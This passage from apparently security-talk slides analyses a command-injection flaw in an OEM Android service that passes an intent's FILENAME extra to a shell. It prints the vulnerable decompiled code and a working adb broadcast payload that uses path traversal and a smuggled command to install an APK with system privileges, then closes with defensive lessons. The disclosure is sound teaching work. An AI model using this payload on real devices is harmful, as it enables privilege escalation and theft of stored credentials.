Page 155: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

Seems to “do a shell command” with our FILENAME parameter concatenated

Page 156: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

This is DoShellCmd function

Page 157: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

Creates a shell commandAnd runs it

Page 158: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

And our FILENAME parameter is still not modified

Page 159: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

And our FILENAME parameter is still not modified

BINGO!

Page 160: PlayStore bashing: learn from the biggest fails on the Google Play Store

Access toAll permissions declared by system apps156 for this case

All files belonging to system userWifi keysPassword, PIN, gesture storage...

OEM SOFTWARE

Page 161: PlayStore bashing: learn from the biggest fails on the Google Play Store

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

A simple broadcast for FTAT_DUMP action

Page 162: PlayStore bashing: learn from the biggest fails on the Google Play Store

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

We declare the FILENAME argument

Page 163: PlayStore bashing: learn from the biggest fails on the Google Play Store

OEM SOFTWARE

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

We point the destination file to null

Page 164: PlayStore bashing: learn from the biggest fails on the Google Play Store

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

We execute our system command

Page 165: PlayStore bashing: learn from the biggest fails on the Google Play Store

Open bar!

OEM SOFTWARE

Page 166: PlayStore bashing: learn from the biggest fails on the Google Play Store

Moral of the story

It happens at application level

Look after your app’s backdoorsDon’t export local servicesUse a strict permission model

Consider every input as a threatEscape all sensitive parameters you receive

OEM SOFTWARE

Page 167: PlayStore bashing: learn from the biggest fails on the Google Play Store
Page 168: PlayStore bashing: learn from the biggest fails on the Google Play Store

Thank You for your time !

http://eyal.fr

SLIDEShttp://bit.ly/andbigfails